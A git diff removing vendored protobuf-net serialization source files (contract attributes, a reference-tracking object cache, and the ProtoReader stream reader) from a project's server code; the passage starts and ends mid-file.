- else - flags = (byte) (flags & ~flag); - } - - /// - /// Should lists have extended support for null values? Note this makes the serialization less efficient. - /// - public bool SupportNull - { - get { return HasFlag(OPTIONS_SupportNull); } - set { SetFlag(OPTIONS_SupportNull, value, true); } - } - - internal string GetSchemaTypeName(bool applyNetObjectProxy, ref bool requiresBclImport) - { - Type effectiveType = ItemType; - if (effectiveType == null) effectiveType = MemberType; - return model.GetSchemaTypeName(effectiveType, DataFormat, applyNetObjectProxy && asReference, - applyNetObjectProxy && dynamicType, ref requiresBclImport); - } - - - internal sealed class Comparer : System.Collections.IComparer -#if !NO_GENERICS - , System.Collections.Generic.IComparer -#endif - { - public static readonly Comparer Default = new Comparer(); - - public int Compare(object x, object y) - { - return Compare(x as ValueMember, y as ValueMember); - } - - public int Compare(ValueMember x, ValueMember y) - { - if (ReferenceEquals(x, y)) return 0; - if (x == null) return -1; - if (y == null) return 1; - - return x.FieldNumber.CompareTo(y.FieldNumber); - } - } - } -} - -#endif \ No newline at end of file diff --git a/Server/Core/ProtoBuf/NetObjectCache.cs b/Server/Core/ProtoBuf/NetObjectCache.cs deleted file mode 100644 index 192b1743..00000000 --- a/Server/Core/ProtoBuf/NetObjectCache.cs +++ /dev/null @@ -1,255 +0,0 @@ -using System; -using System.Collections; -using ProtoBuf.Meta; - -namespace ProtoBuf -{ - internal sealed class NetObjectCache - { - internal const int Root = 0; - private MutableList underlyingList; - - private MutableList List - { - get - { - if (underlyingList == null) underlyingList = new MutableList(); - return underlyingList; - } - } - - - internal object GetKeyedObject(int key) - { - if (key-- == Root) - { - if (rootObject == null) throw new ProtoException("No root object assigned"); - return rootObject; - } - BasicList list = List; - - if (key < 0 || key >= list.Count) - { - Helpers.DebugWriteLine("Missing key: " + key); - throw new ProtoException("Internal error; a missing key occurred"); - } - - object tmp = list[key]; - if (tmp == null) - { - throw new ProtoException("A deferred key does not have a value yet"); - } - return tmp; - } - - internal void SetKeyedObject(int key, object value) - { - if (key-- == Root) - { - if (value == null) throw new ArgumentNullException("value"); - if (rootObject != null && ((object) rootObject != (object) value)) - throw new ProtoException("The root object cannot be reassigned"); - rootObject = value; - } - else - { - MutableList list = List; - if (key < list.Count) - { - object oldVal = list[key]; - if (oldVal == null) - { - list[key] = value; - } - else if (!ReferenceEquals(oldVal, value)) - { - throw new ProtoException("Reference-tracked objects cannot change reference"); - } // otherwise was the same; nothing to do - } - else if (key != list.Add(value)) - { - throw new ProtoException("Internal error; a key mismatch occurred"); - } - } - } - - private object rootObject; - - internal int AddObjectKey(object value, out bool existing) - { - if (value == null) throw new ArgumentNullException("value"); - - if ((object) value == (object) rootObject) // (object) here is no-op, but should be - { - // preserved even if this was typed - needs ref-check - existing = true; - return Root; - } - - string s = value as string; - BasicList list = List; - int index; - -#if NO_GENERICS - - if(s == null) - { - if (objectKeys == null) - { - objectKeys = new ReferenceHashtable(); - index = -1; - } - else - { - object tmp = objectKeys[value]; - index = tmp == null ? -1 : (int) tmp; - } - } - else - { - if (stringKeys == null) - { - stringKeys = new Hashtable(); - index = -1; - } - else - { - object tmp = stringKeys[s]; - index = tmp == null ? -1 : (int) tmp; - } - } -#else - - if (s == null) - { -#if CF || PORTABLE // CF has very limited proper object ref-tracking; so instead, we'll search it the hard way - index = list.IndexOfReference(value); -#else - if (objectKeys == null) - { - objectKeys = new System.Collections.Generic.Dictionary(ReferenceComparer.Default); - index = -1; - } - else - { - if (!objectKeys.TryGetValue(value, out index)) index = -1; - } -#endif - } - else - { - if (stringKeys == null) - { - stringKeys = new System.Collections.Generic.Dictionary(); - index = -1; - } - else - { - if (!stringKeys.TryGetValue(s, out index)) index = -1; - } - } -#endif - - if (!(existing = index >= 0)) - { - index = list.Add(value); - - if (s == null) - { -#if !CF && !PORTABLE // CF can't handle the object keys very well - objectKeys.Add(value, index); -#endif - } - else - { - stringKeys.Add(s, index); - } - } - return index + 1; - } - - private int trapStartIndex; // defaults to 0 - optimization for RegisterTrappedObject - // to make it faster at seeking to find deferred-objects - - internal void RegisterTrappedObject(object value) - { - if (rootObject == null) - { - rootObject = value; - } - else - { - if (underlyingList != null) - { - for (int i = trapStartIndex; i < underlyingList.Count; i++) - { - trapStartIndex = i + 1; // things never *become* null; whether or - // not the next item is null, it will never - // need to be checked again - - if (underlyingList[i] == null) - { - underlyingList[i] = value; - break; - } - } - } - } - } - -#if NO_GENERICS - private ReferenceHashtable objectKeys; - private System.Collections.Hashtable stringKeys; - private class ReferenceHashtable : System.Collections.Hashtable - { - protected override int GetHash(object key) - { - return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(key); - } - protected override bool KeyEquals(object item, object key) - { - return item == key; - } - } -#else - - private System.Collections.Generic.Dictionary stringKeys; - -#if !CF && !PORTABLE - // CF lacks the ability to get a robust reference-based hash-code, so we'll do it the harder way instead - private System.Collections.Generic.Dictionary objectKeys; - - private sealed class ReferenceComparer : System.Collections.Generic.IEqualityComparer - { - public static readonly ReferenceComparer Default = new ReferenceComparer(); - - private ReferenceComparer() - { - } - - bool System.Collections.Generic.IEqualityComparer.Equals(object x, object y) - { - return x == y; // ref equality - } - - int System.Collections.Generic.IEqualityComparer.GetHashCode(object obj) - { - return System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode(obj); - } - } -#endif - -#endif - - internal void Clear() - { - trapStartIndex = 0; - rootObject = null; - if (underlyingList != null) underlyingList.Clear(); - if (stringKeys != null) stringKeys.Clear(); -#if !CF && !PORTABLE - if (objectKeys != null) objectKeys.Clear(); -#endif - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/PrefixStyle.cs b/Server/Core/ProtoBuf/PrefixStyle.cs deleted file mode 100644 index 56899e74..00000000 --- a/Server/Core/ProtoBuf/PrefixStyle.cs +++ /dev/null @@ -1,28 +0,0 @@ -namespace ProtoBuf -{ - /// - /// Specifies the type of prefix that should be applied to messages. - /// - public enum PrefixStyle - { - /// - /// No length prefix is applied to the data; the data is terminated only be the end of the stream. - /// - None, - - /// - /// A base-128 length prefix is applied to the data (efficient for short messages). - /// - Base128, - - /// - /// A fixed-length (little-endian) length prefix is applied to the data (useful for compatibility). - /// - Fixed32, - - /// - /// A fixed-length (big-endian) length prefix is applied to the data (useful for compatibility). - /// - Fixed32BigEndian - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoContractAttribute.cs b/Server/Core/ProtoBuf/ProtoContractAttribute.cs deleted file mode 100644 index 80b09ed8..00000000 --- a/Server/Core/ProtoBuf/ProtoContractAttribute.cs +++ /dev/null @@ -1,183 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a type is defined for protocol-buffer serialization. - /// - [AttributeUsage( - AttributeTargets.Class | AttributeTargets.Struct | AttributeTargets.Enum | AttributeTargets.Interface, - AllowMultiple = false, Inherited = false)] - public sealed class ProtoContractAttribute : Attribute - { - /// - /// Gets or sets the defined name of the type. - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - - /// - /// Gets or sets the fist offset to use with implicit field tags; - /// only uesd if ImplicitFields is set. - /// - public int ImplicitFirstTag - { - get { return implicitFirstTag; } - set - { - if (value < 1) throw new ArgumentOutOfRangeException("ImplicitFirstTag"); - implicitFirstTag = value; - } - } - - private int implicitFirstTag; - - /// - /// If specified, alternative contract markers (such as markers for XmlSerailizer or DataContractSerializer) are ignored. - /// - public bool UseProtoMembersOnly - { - get { return HasFlag(OPTIONS_UseProtoMembersOnly); } - set { SetFlag(OPTIONS_UseProtoMembersOnly, value); } - } - - /// - /// If specified, do NOT treat this type as a list, even if it looks like one. - /// - public bool IgnoreListHandling - { - get { return HasFlag(OPTIONS_IgnoreListHandling); } - set { SetFlag(OPTIONS_IgnoreListHandling, value); } - } - - - /// - /// Gets or sets the mechanism used to automatically infer field tags - /// for members. This option should be used in advanced scenarios only. - /// Please review the important notes against the ImplicitFields enumeration. - /// - public ImplicitFields ImplicitFields - { - get { return implicitFields; } - set { implicitFields = value; } - } - - private ImplicitFields implicitFields; - - - /// - /// Enables/disables automatic tag generation based on the existing name / order - /// of the defined members. This option is not used for members marked - /// with ProtoMemberAttribute, as intended to provide compatibility with - /// WCF serialization. WARNING: when adding new fields you must take - /// care to increase the Order for new elements, otherwise data corruption - /// may occur. - /// - /// If not explicitly specified, the default is assumed from Serializer.GlobalOptions.InferTagFromName. - public bool InferTagFromName - { - get { return HasFlag(OPTIONS_InferTagFromName); } - set - { - SetFlag(OPTIONS_InferTagFromName, value); - SetFlag(OPTIONS_InferTagFromNameHasValue, true); - } - } - - /// - /// Has a InferTagFromName value been explicitly set? if not, the default from the type-model is assumed. - /// - internal bool InferTagFromNameHasValue - { - // note that this property is accessed via reflection and should not be removed - get { return HasFlag(OPTIONS_InferTagFromNameHasValue); } - } - - private int dataMemberOffset; - - /// - /// Specifies an offset to apply to [DataMember(Order=...)] markers; - /// this is useful when working with mex-generated classes that have - /// a different origin (usually 1 vs 0) than the original data-contract. - /// - /// This value is added to the Order of each member. - /// - public int DataMemberOffset - { - get { return dataMemberOffset; } - set { dataMemberOffset = value; } - } - - - /// - /// If true, the constructor for the type is bypassed during deserialization, meaning any field initializers - /// or other initialization code is skipped. - /// - public bool SkipConstructor - { - get { return HasFlag(OPTIONS_SkipConstructor); } - set { SetFlag(OPTIONS_SkipConstructor, value); } - } - - /// - /// Should this type be treated as a reference by default? Please also see the implications of this, - /// as recorded on ProtoMemberAttribute.AsReference - /// - public bool AsReferenceDefault - { - get { return HasFlag(OPTIONS_AsReferenceDefault); } - set { SetFlag(OPTIONS_AsReferenceDefault, value); } - } - - private bool HasFlag(byte flag) - { - return (flags & flag) == flag; - } - - private void SetFlag(byte flag, bool value) - { - if (value) flags |= flag; - else flags = (byte) (flags & ~flag); - } - - private byte flags; - - private const byte - OPTIONS_InferTagFromName = 1, - OPTIONS_InferTagFromNameHasValue = 2, - OPTIONS_UseProtoMembersOnly = 4, - OPTIONS_SkipConstructor = 8, - OPTIONS_IgnoreListHandling = 16, - OPTIONS_AsReferenceDefault = 32, - OPTIONS_EnumPassthru = 64, - OPTIONS_EnumPassthruHasValue = 128; - - /// - /// Applies only to enums (not to DTO classes themselves); gets or sets a value indicating that an enum should be treated directly as an int/short/etc, rather - /// than enforcing .proto enum rules. This is useful *in particul* for [Flags] enums. - /// - public bool EnumPassthru - { - get { return HasFlag(OPTIONS_EnumPassthru); } - set - { - SetFlag(OPTIONS_EnumPassthru, value); - SetFlag(OPTIONS_EnumPassthruHasValue, true); - } - } - - /// - /// Has a EnumPassthru value been explicitly set? - /// - internal bool EnumPassthruHasValue - { - // note that this property is accessed via reflection and should not be removed - get { return HasFlag(OPTIONS_EnumPassthruHasValue); } - } - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoConverterAttribute.cs b/Server/Core/ProtoBuf/ProtoConverterAttribute.cs deleted file mode 100644 index dde09cd1..00000000 --- a/Server/Core/ProtoBuf/ProtoConverterAttribute.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a static member should be considered the same as though - /// were an implicit / explicit conversion operator; in particular, this - /// is useful for conversions that operator syntax does not allow, such as - /// to/from interface types. - /// - [AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = true)] - public class ProtoConverterAttribute : Attribute - { - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoEnumAttribute.cs b/Server/Core/ProtoBuf/ProtoEnumAttribute.cs deleted file mode 100644 index 2f07beca..00000000 --- a/Server/Core/ProtoBuf/ProtoEnumAttribute.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Used to define protocol-buffer specific behavior for - /// enumerated values. - /// - [AttributeUsage(AttributeTargets.Field, AllowMultiple = false)] - public sealed class ProtoEnumAttribute : Attribute - { - /// - /// Gets or sets the specific value to use for this enum during serialization. - /// - public int Value - { - get { return enumValue; } - set - { - this.enumValue = value; - hasValue = true; - } - } - - /// - /// Indicates whether this instance has a customised value mapping - /// - /// true if a specific value is set - public bool HasValue() - { - return hasValue; - } - - private bool hasValue; - private int enumValue; - - /// - /// Gets or sets the defined name of the enum, as used in .proto - /// (this name is not used during serialization). - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoException.cs b/Server/Core/ProtoBuf/ProtoException.cs deleted file mode 100644 index 2a35b9a2..00000000 --- a/Server/Core/ProtoBuf/ProtoException.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) -using System.Runtime.Serialization; -#endif - -namespace ProtoBuf -{ - /// - /// Indicates an error during serialization/deserialization of a proto stream. - /// -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - [Serializable] -#endif - public class ProtoException : Exception - { - /// Creates a new ProtoException instance. - public ProtoException() - { - } - - /// Creates a new ProtoException instance. - public ProtoException(string message) : base(message) - { - } - - /// Creates a new ProtoException instance. - public ProtoException(string message, Exception innerException) : base(message, innerException) - { - } - -#if PLAT_BINARYFORMATTER && !(WINRT || PHONE8) - /// Creates a new ProtoException instance. - protected ProtoException(SerializationInfo info, StreamingContext context) : base(info, context) { } -#endif - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs b/Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs deleted file mode 100644 index 338a1f43..00000000 --- a/Server/Core/ProtoBuf/ProtoIgnoreAttribute.cs +++ /dev/null @@ -1,47 +0,0 @@ -using System; - -namespace ProtoBuf -{ - /// - /// Indicates that a member should be excluded from serialization; this - /// is only normally used when using implict fields. - /// - [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, - AllowMultiple = false, Inherited = true)] - public class ProtoIgnoreAttribute : Attribute - { - } - - /// - /// Indicates that a member should be excluded from serialization; this - /// is only normally used when using implict fields. This allows - /// ProtoIgnoreAttribute usage - /// even for partial classes where the individual members are not - /// under direct control. - /// - [AttributeUsage(AttributeTargets.Class, - AllowMultiple = true, Inherited = false)] - public sealed class ProtoPartialIgnoreAttribute : ProtoIgnoreAttribute - { - /// - /// Creates a new ProtoPartialIgnoreAttribute instance. - /// - /// Specifies the member to be ignored. - public ProtoPartialIgnoreAttribute(string memberName) - : base() - { - if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); - this.memberName = memberName; - } - - /// - /// The name of the member to be ignored. - /// - public string MemberName - { - get { return memberName; } - } - - private readonly string memberName; - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoIncludeAttribute.cs b/Server/Core/ProtoBuf/ProtoIncludeAttribute.cs deleted file mode 100644 index 9265a84c..00000000 --- a/Server/Core/ProtoBuf/ProtoIncludeAttribute.cs +++ /dev/null @@ -1,88 +0,0 @@ -using System; -using System.ComponentModel; -using ProtoBuf.Meta; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Indicates the known-types to support for an individual - /// message. This serializes each level in the hierarchy as - /// a nested message to retain wire-compatibility with - /// other protocol-buffer implementations. - /// - [AttributeUsage(AttributeTargets.Class | AttributeTargets.Interface, AllowMultiple = true, Inherited = false)] - public sealed class ProtoIncludeAttribute : Attribute - { - /// - /// Creates a new instance of the ProtoIncludeAttribute. - /// - /// The unique index (within the type) that will identify this data. - /// The additional type to serialize/deserialize. - public ProtoIncludeAttribute(int tag, System.Type knownType) - : this(tag, knownType == null ? "" : knownType.AssemblyQualifiedName) - { - } - - /// - /// Creates a new instance of the ProtoIncludeAttribute. - /// - /// The unique index (within the type) that will identify this data. - /// The additional type to serialize/deserialize. - public ProtoIncludeAttribute(int tag, string knownTypeName) - { - if (tag <= 0) throw new ArgumentOutOfRangeException("tag", "Tags must be positive integers"); - if (Helpers.IsNullOrEmpty(knownTypeName)) - throw new ArgumentNullException("knownTypeName", "Known type cannot be blank"); - this.tag = tag; - this.knownTypeName = knownTypeName; - } - - /// - /// Gets the unique index (within the type) that will identify this data. - /// - public int Tag - { - get { return tag; } - } - - private readonly int tag; - - /// - /// Gets the additional type to serialize/deserialize. - /// - public string KnownTypeName - { - get { return knownTypeName; } - } - - private readonly string knownTypeName; - - /// - /// Gets the additional type to serialize/deserialize. - /// - public Type KnownType - { - get { return TypeModel.ResolveKnownType(KnownTypeName, null, null); } - } - - /// - /// Specifies whether the inherited sype's sub-message should be - /// written with a length-prefix (default), or with group markers. - /// - [DefaultValue(DataFormat.Default)] - public DataFormat DataFormat - { - get { return dataFormat; } - set { dataFormat = value; } - } - - private DataFormat dataFormat = DataFormat.Default; - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoMemberAttribute.cs b/Server/Core/ProtoBuf/ProtoMemberAttribute.cs deleted file mode 100644 index d8306bf3..00000000 --- a/Server/Core/ProtoBuf/ProtoMemberAttribute.cs +++ /dev/null @@ -1,280 +0,0 @@ -using System; -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -using IKVM.Reflection; -#else -using System.Reflection; - -#endif - -namespace ProtoBuf -{ - /// - /// Declares a member to be used in protocol-buffer serialization, using - /// the given Tag. A DataFormat may be used to optimise the serialization - /// format (for instance, using zigzag encoding for negative numbers, or - /// fixed-length encoding for large values. - /// - [AttributeUsage(AttributeTargets.Property | AttributeTargets.Field, - AllowMultiple = false, Inherited = true)] - public class ProtoMemberAttribute : Attribute - , IComparable -#if !NO_GENERICS - , IComparable -#endif - - { - /// - /// Compare with another ProtoMemberAttribute for sorting purposes - /// - public int CompareTo(object other) - { - return CompareTo(other as ProtoMemberAttribute); - } - - /// - /// Compare with another ProtoMemberAttribute for sorting purposes - /// - public int CompareTo(ProtoMemberAttribute other) - { - if (other == null) return -1; - if ((object) this == (object) other) return 0; - int result = this.tag.CompareTo(other.tag); - if (result == 0) result = string.CompareOrdinal(this.name, other.name); - return result; - } - - /// - /// Creates a new ProtoMemberAttribute instance. - /// - /// Specifies the unique tag used to identify this member within the type. - public ProtoMemberAttribute(int tag) : this(tag, false) - { - } - - internal ProtoMemberAttribute(int tag, bool forced) - { - if (tag <= 0 && !forced) throw new ArgumentOutOfRangeException("tag"); - this.tag = tag; - } - -#if !NO_RUNTIME - internal MemberInfo Member; - internal bool TagIsPinned; -#endif - - /// - /// Gets or sets the original name defined in the .proto; not used - /// during serialization. - /// - public string Name - { - get { return name; } - set { name = value; } - } - - private string name; - - /// - /// Gets or sets the data-format to be used when encoding this value. - /// - public DataFormat DataFormat - { - get { return dataFormat; } - set { dataFormat = value; } - } - - private DataFormat dataFormat; - - /// - /// Gets the unique tag used to identify this member within the type. - /// - public int Tag - { - get { return tag; } - } - - private int tag; - - internal void Rebase(int tag) - { - this.tag = tag; - } - - /// - /// Gets or sets a value indicating whether this member is mandatory. - /// - public bool IsRequired - { - get { return (options & MemberSerializationOptions.Required) == MemberSerializationOptions.Required; } - set - { - if (value) options |= MemberSerializationOptions.Required; - else options &= ~MemberSerializationOptions.Required; - } - } - - /// - /// Gets a value indicating whether this member is packed. - /// This option only applies to list/array data of primitive types (int, double, etc). - /// - public bool IsPacked - { - get { return (options & MemberSerializationOptions.Packed) == MemberSerializationOptions.Packed; } - set - { - if (value) options |= MemberSerializationOptions.Packed; - else options &= ~MemberSerializationOptions.Packed; - } - } - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - public bool OverwriteList - { - get - { - return (options & MemberSerializationOptions.OverwriteList) == MemberSerializationOptions.OverwriteList; - } - set - { - if (value) options |= MemberSerializationOptions.OverwriteList; - else options &= ~MemberSerializationOptions.OverwriteList; - } - } - - /// - /// Enables full object-tracking/full-graph support. - /// - public bool AsReference - { - get { return (options & MemberSerializationOptions.AsReference) == MemberSerializationOptions.AsReference; } - set - { - if (value) options |= MemberSerializationOptions.AsReference; - else options &= ~MemberSerializationOptions.AsReference; - - options |= MemberSerializationOptions.AsReferenceHasValue; - } - } - - internal bool AsReferenceHasValue - { - get - { - return (options & MemberSerializationOptions.AsReferenceHasValue) == - MemberSerializationOptions.AsReferenceHasValue; - } - set - { - if (value) options |= MemberSerializationOptions.AsReferenceHasValue; - else options &= ~MemberSerializationOptions.AsReferenceHasValue; - } - } - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance. - /// - public bool DynamicType - { - get { return (options & MemberSerializationOptions.DynamicType) == MemberSerializationOptions.DynamicType; } - set - { - if (value) options |= MemberSerializationOptions.DynamicType; - else options &= ~MemberSerializationOptions.DynamicType; - } - } - - /// - /// Gets or sets a value indicating whether this member is packed (lists/arrays). - /// - public MemberSerializationOptions Options - { - get { return options; } - set { options = value; } - } - - private MemberSerializationOptions options; - } - - /// - /// Additional (optional) settings that control serialization of members - /// - [Flags] - public enum MemberSerializationOptions - { - /// - /// Default; no additional options - /// - None = 0, - - /// - /// Indicates that repeated elements should use packed (length-prefixed) encoding - /// - Packed = 1, - - /// - /// Indicates that the given item is required - /// - Required = 2, - - /// - /// Enables full object-tracking/full-graph support - /// - AsReference = 4, - - /// - /// Embeds the type information into the stream, allowing usage with types not known in advance - /// - DynamicType = 8, - - /// - /// Indicates whether this field should *repace* existing values (the default is false, meaning *append*). - /// This option only applies to list/array data. - /// - OverwriteList = 16, - - /// - /// Determines whether the types AsReferenceDefault value is used, or whether this member's AsReference should be used - /// - AsReferenceHasValue = 32 - } - - /// - /// Declares a member to be used in protocol-buffer serialization, using - /// the given Tag and MemberName. This allows ProtoMemberAttribute usage - /// even for partial classes where the individual members are not - /// under direct control. - /// A DataFormat may be used to optimise the serialization - /// format (for instance, using zigzag encoding for negative numbers, or - /// fixed-length encoding for large values. - /// - [AttributeUsage(AttributeTargets.Class, - AllowMultiple = true, Inherited = false)] - public sealed class ProtoPartialMemberAttribute : ProtoMemberAttribute - { - /// - /// Creates a new ProtoMemberAttribute instance. - /// - /// Specifies the unique tag used to identify this member within the type. - /// Specifies the member to be serialized. - public ProtoPartialMemberAttribute(int tag, string memberName) - : base(tag) - { - if (Helpers.IsNullOrEmpty(memberName)) throw new ArgumentNullException("memberName"); - this.memberName = memberName; - } - - /// - /// The name of the member to be serialized. - /// - public string MemberName - { - get { return memberName; } - } - - private readonly string memberName; - } -} \ No newline at end of file diff --git a/Server/Core/ProtoBuf/ProtoReader.cs b/Server/Core/ProtoBuf/ProtoReader.cs deleted file mode 100644 index fcdc0c4f..00000000 --- a/Server/Core/ProtoBuf/ProtoReader.cs +++ /dev/null @@ -1,1547 +0,0 @@ -using System; -using System.IO; -using System.Text; -using ProtoBuf.Meta; - -#if FEAT_IKVM -using Type = IKVM.Reflection.Type; -#endif - -#if MF -using EndOfStreamException = System.ApplicationException; -using OverflowException = System.ApplicationException; -#endif - -namespace ProtoBuf -{ - /// - /// A stateful reader, used to read a protobuf stream. Typical usage would be (sequentially) to call - /// ReadFieldHeader and (after matching the field) an appropriate Read* method. - /// - public sealed class ProtoReader : IDisposable - { - private Stream source; - private byte[] ioBuffer; - private TypeModel model; - private int fieldNumber, depth, dataRemaining, ioIndex, position, available, blockEnd; - private WireType wireType; - private bool isFixedLength, internStrings; - private NetObjectCache netCache; - - // this is how many outstanding objects do not currently have - // values for the purposes of reference tracking; we'll default - // to just trapping the root object - // note: objects are trapped (the ref and key mapped) via NoteObject - private uint trapCount; // uint is so we can use beq/bne more efficiently than bgt - - - /// - /// Gets the number of the field being processed. - /// - public int FieldNumber - { - get { return fieldNumber; } - } - - /// - /// Indicates the underlying proto serialization format on the wire. - /// - public WireType WireType - { - get { return wireType; } - } - - /// - /// Creates a new reader against a stream - /// - /// The source stream - /// The model to use for serialization; this can be null, but this will impair the ability to deserialize sub-objects - /// Additional context about this serialization operation - public ProtoReader(Stream source, TypeModel model, SerializationContext context) - { - Init(this, source, model, context, TO_EOF); - } - - internal const int TO_EOF = -1; - - - /// - /// Gets / sets a flag indicating whether strings should be checked for repetition; if - /// true, any repeated UTF-8 byte sequence will result in the same String instance, rather - /// than a second instance of the same string. Enabled by default. Note that this uses - /// a custom interner - the system-wide string interner is not used. - /// - public bool InternStrings - { - get { return internStrings; } - set { internStrings = value; } - } - - /// - /// Creates a new reader against a stream - /// - /// The source stream - /// The model to use for serialization; this can be null, but this will impair the ability to deserialize sub-objects - /// Additional context about this serialization operation - /// The number of bytes to read, or -1 to read until the end of the stream - public ProtoReader(Stream source, TypeModel model, SerializationContext context, int length) - { - Init(this, source, model, context, length); - } - - private static void Init(ProtoReader reader, Stream source, TypeModel model, SerializationContext context, - int length) - { - if (source == null) throw new ArgumentNullException("source"); - if (!source.CanRead) throw new ArgumentException("Cannot read from stream", "source"); - reader.source = source; - reader.ioBuffer = BufferPool.GetBuffer(); - reader.model = model; - bool isFixedLength = length >= 0; - reader.isFixedLength = isFixedLength; - reader.dataRemaining = isFixedLength ? length : 0; - - if (context == null) - { - context = SerializationContext.Default; - } - else - { - context.Freeze(); - } - reader.context = context; - reader.position = reader.available = reader.depth = reader.fieldNumber = reader.ioIndex = 0; - reader.blockEnd = int.MaxValue; - reader.internStrings = true; - reader.wireType = WireType.None; - reader.trapCount = 1; - if (reader.netCache == null) reader.netCache = new NetObjectCache(); - } - - private SerializationContext context; - - /// - /// Addition information about this deserialization operation. - /// - public SerializationContext Context - { - get { return context; } - } - - /// - /// Releases resources used by the reader, but importantly does not Dispose the - /// underlying stream; in many typical use-cases the stream is used for different - /// processes, so it is assumed that the consumer will Dispose their stream separately. - /// - public void Dispose() - { - // importantly, this does **not** own the stream, and does not dispose it - source = null; - model = null; - BufferPool.ReleaseBufferToPool(ref ioBuffer); - if (stringInterner != null) stringInterner.Clear(); - if (netCache != null) netCache.Clear(); - } - - internal int TryReadUInt32VariantWithoutMoving(bool trimNegative, out uint value) - { - if (available < 10) Ensure(10, false); - if (available == 0) - { - value = 0; - return 0; - } - int readPos = ioIndex; - value = ioBuffer[readPos++]; - if ((value & 0x80) == 0) return 1; - value &= 0x7F; - if (available == 1) throw EoF(this); - - uint chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 7; - if ((chunk & 0x80) == 0) return 2; - if (available == 2) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 14; - if ((chunk & 0x80) == 0) return 3; - if (available == 3) throw EoF(this); - - chunk = ioBuffer[readPos++]; - value |= (chunk & 0x7F) << 21; - if ((chunk & 0x80) == 0) return 4; - if (available == 4) throw EoF(this); - - chunk = ioBuffer[readPos]; - value |= chunk << 28; // can only use 4 bits from this chunk - if ((chunk & 0xF0) == 0) return 5; - - if (trimNegative // allow for -ve values - && (chunk & 0xF0) == 0xF0 - && available >= 10 - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0xFF - && ioBuffer[++readPos] == 0x01) - { - return 10; - } - throw AddErrorData(new OverflowException(), this); - } - - private uint ReadUInt32Variant(bool trimNegative) - { - uint value; - int read = TryReadUInt32VariantWithoutMoving(trimNegative, out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return value; - } - throw EoF(this); - } - - private bool TryReadUInt32Variant(out uint value) - { - int read = TryReadUInt32VariantWithoutMoving(false, out value); - if (read > 0) - { - ioIndex += read; - available -= read; - position += read; - return true; - } - return false; - } - - /// - /// Reads an unsigned 32-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public uint ReadUInt32() - { - switch (wireType) - { - case WireType.Variant: - return ReadUInt32Variant(false); - case WireType.Fixed32: - if (available < 4) Ensure(4, true); - position += 4; - available -= 4; - return ((uint) ioBuffer[ioIndex++]) - | (((uint) ioBuffer[ioIndex++]) << 8) - | (((uint) ioBuffer[ioIndex++]) << 16) - | (((uint) ioBuffer[ioIndex++]) << 24); - case WireType.Fixed64: - ulong val = ReadUInt64(); - checked - { - return (uint) val; - } - default: - throw CreateWireTypeException(); - } - } - - /// - /// Returns the position of the current reader (note that this is not necessarily the same as the position - /// in the underlying stream, if multiple readers are used on the same stream) - /// - public int Position - { - get { return position; } - } - - internal void Ensure(int count, bool strict) - { - Helpers.DebugAssert(available <= count, "Asking for data without checking first"); - if (count > ioBuffer.Length) - { - BufferPool.ResizeAndFlushLeft(ref ioBuffer, count, ioIndex, available); - ioIndex = 0; - } - else if (ioIndex + count >= ioBuffer.Length) - { - // need to shift the buffer data to the left to make space - Helpers.BlockCopy(ioBuffer, ioIndex, ioBuffer, 0, available); - ioIndex = 0; - } - count -= available; - int writePos = ioIndex + available, bytesRead; - int canRead = ioBuffer.Length - writePos; - if (isFixedLength) - { - // throttle it if needed - if (dataRemaining < canRead) canRead = dataRemaining; - } - while (count > 0 && canRead > 0 && (bytesRead = source.Read(ioBuffer, writePos, canRead)) > 0) - { - available += bytesRead; - count -= bytesRead; - canRead -= bytesRead; - writePos += bytesRead; - if (isFixedLength) - { - dataRemaining -= bytesRead; - } - } - if (strict && count > 0) - { - throw EoF(this); - } - } - - /// - /// Reads a signed 16-bit integer from the stream: Variant, Fixed32, Fixed64, SignedVariant - /// - public short ReadInt16() - { - checked - { - return (short) ReadInt32(); - } - } - - /// - /// Reads an unsigned 16-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public ushort ReadUInt16() - { - checked - { - return (ushort) ReadUInt32(); - } - } - - /// - /// Reads an unsigned 8-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64 - /// - public byte ReadByte() - { - checked - { - return (byte) ReadUInt32(); - } - } - - /// - /// Reads a signed 8-bit integer from the stream; supported wire-types: Variant, Fixed32, Fixed64, SignedVariant - /// - public sbyte ReadSByte() - { - 